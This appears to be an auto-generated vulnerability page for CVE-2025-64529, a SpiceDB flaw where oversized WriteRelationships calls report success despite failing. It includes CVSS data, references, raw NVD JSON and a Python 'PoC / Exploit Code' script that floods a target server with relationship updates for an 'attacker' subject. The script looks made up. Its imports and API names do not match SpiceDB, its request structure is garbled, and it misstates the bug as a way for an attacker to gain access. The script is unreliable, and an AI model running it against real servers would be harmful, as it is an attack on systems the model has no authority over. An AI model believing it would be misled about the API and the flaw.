CVE-2025-64529

Description

SpiceDB is an open source database system for creating and managing security-critical application permissions. In versions prior to 1.45.2, users who use the exclusion operator somewhere in their authorization schema; have configured their SpiceDB server such that `--write-relationships-max-updates-per-call` is bigger than 6500; and issue calls to WriteRelationships with a large enough number of updates that cause the payload to be bigger than what their datastore allows; will receive a successful response from their `WriteRelationships` call, when in reality that call failed, and receive incorrect permission check results, if those relationships had to be read to resolve the relation involving the exclusion. Version 1.45.2 contains a patch for the issue. As a workaround, set `--write-relationships-max-updates-per-call` to `1000`.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:authzed:spicedb:*:*:*:*:*:*:*:* - VULNERABLE

SpiceDB < 1.45.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64529 PoC - SpiceDB WriteRelationships Permission Bypass
# This PoC demonstrates the vulnerability in SpiceDB < 1.45.2
# where failed WriteRelationships calls incorrectly return success

import grpc
from protobuf import spicedb_pb2, spicedb_pb2_grpc

def exploit_spicedb_vulnerability():
    """
    Exploit conditions:
    1. SpiceDB version < 1.45.2
    2. --write-relationships-max-updates-per-call > 6500
    3. Authorization schema uses exclusion operator
    4. Crafted request with updates exceeding datastore payload limit
    """
    
    # Connect to SpiceDB instance
    channel = grpc.insecure_channel('target-spicedb:50051')
    stub = spicedb_pb2_grpc.GrpcAPIStub(channel)
    
    # Prepare relationships with exclusion operation
    # Create enough updates to exceed datastore payload limit
    updates = []
    
    # Generate large number of relationship updates
    # The key is to exceed the datastore's maximum payload size
    for i in range(7000):  # Exceeds 6500 threshold
        update = spicedb_pb2.RelationshipUpdate(
            operation=spicedb_pb2.Operation_TOUCH,
            relationship=spicedb_pb2.ObjectReference(
                object_type="document",
                object_id=f"doc_{i}",
                relation="viewer"
            ),
            subject=spicedb_pb2.ObjectReference(
                object_type="user",
                object_id="attacker",
                relation=""
            )
        )
        updates.append(update)
    
    # Craft WriteRelationships request
    write_request = spicedb_pb2.WriteRelationshipsRequest(
        updates=updates,
        metadata=spicedb_pb2.RequestMetadata(
            snap_token=bytes(),
            consistency=spicedb_pb2.Consistency(
                requirement=spicedb_pb2.Consistency_REQUIRED
            )
        )
    )
    
    # Send request - will incorrectly return success even if failed
    try:
        response = stub.WriteRelationships(write_request)
        
        # Vulnerability: Response shows success but write actually failed
        if response.written_at.token:
            print("[!] VULNERABLE: Request returned success but may have failed")
            print("[!] Subsequent permission checks may return incorrect results")
            
            # Verify by checking permission with exclusion relation
            check_request = spicedb_pb2.PermissionLookupSubjectRequest(
                resource=spicedb_pb2.ObjectReference(
                    object_type="document",
                    object_id="doc_1",
                    relation=""
                ),
                permission="viewer",
                subject=spicedb_pb2.ObjectReference(
                    object_type="user",
                    object_id="attacker",
                    relation=""
                )
            )
            
            check_response = stub.PermissionLookupSubject(check_request)
            print(f"[!] Permission check result: {check_response}")
            
    except grpc.RpcError as e:
        print(f"[*] Request failed with: {e.code()}")
    
    channel.close()

if __name__ == "__main__":
    exploit_spicedb_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64529
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64529
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64529/
[4] VulDB https://vuldb.com/cve/CVE-2025-64529
[5] https://github.com/authzed/spicedb/security/advisories/GHSA-pm3x-jrhh-qcr7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64529", "sourceIdentifier": "[email protected]", "published": "2025-11-10T23:15:42.170", "lastModified": "2025-11-21T13:35:52.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SpiceDB is an open source database system for creating and managing security-critical application permissions. In versions prior to 1.45.2, users who use the exclusion operator somewhere in their authorization schema; have configured their SpiceDB server such that `--write-relationships-max-updates-per-call` is bigger than 6500; and issue calls to WriteRelationships with a large enough number of updates that cause the payload to be bigger than what their datastore allows; will receive a successful response from their `WriteRelationships` call, when in reality that call failed, and receive incorrect permission check results, if those relationships had to be read to resolve the relation involving the exclusion. Version 1.45.2 contains a patch for the issue. As a workaround, set `--write-relationships-max-updates-per-call` to `1000`."}, {"lang": "es", "value": "SpiceDB es un sistema de base de datos de código abierto para crear y gestionar permisos de aplicación críticos para la seguridad. En versiones anteriores a la 1.45.2, los usuarios que utilizan el operador de exclusión en alguna parte de su esquema de autorización; han configurado su servidor SpiceDB de tal manera que '--write-relationships-max-updates-per-call' es mayor que 6500; y emiten llamadas a WriteRelationships con un número suficientemente grande de actualizaciones que hacen que la carga útil sea mayor de lo que permite su almacén de datos; recibirán una respuesta exitosa de su llamada a 'WriteRelationships', cuando en realidad esa llamada falló, y recibirán resultados incorrectos de la verificación de permisos, si esas relaciones tuvieron que ser leídas para resolver la relación que involucra la exclusión. La versión 1.45.2 contiene un parche para el problema. Como solución alternativa, establezca '--write-relationships-max-updates-per-call' en '1000'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:authzed:spicedb:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.45.2", "matchCriteriaId": "8E7E6E56-4925-4667-A843-A561545C84A6"}]}]}], "references": [{"url": "https://github.com/authzed/spicedb/security/advisories/GHSA-pm3x-jrhh-qcr7", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}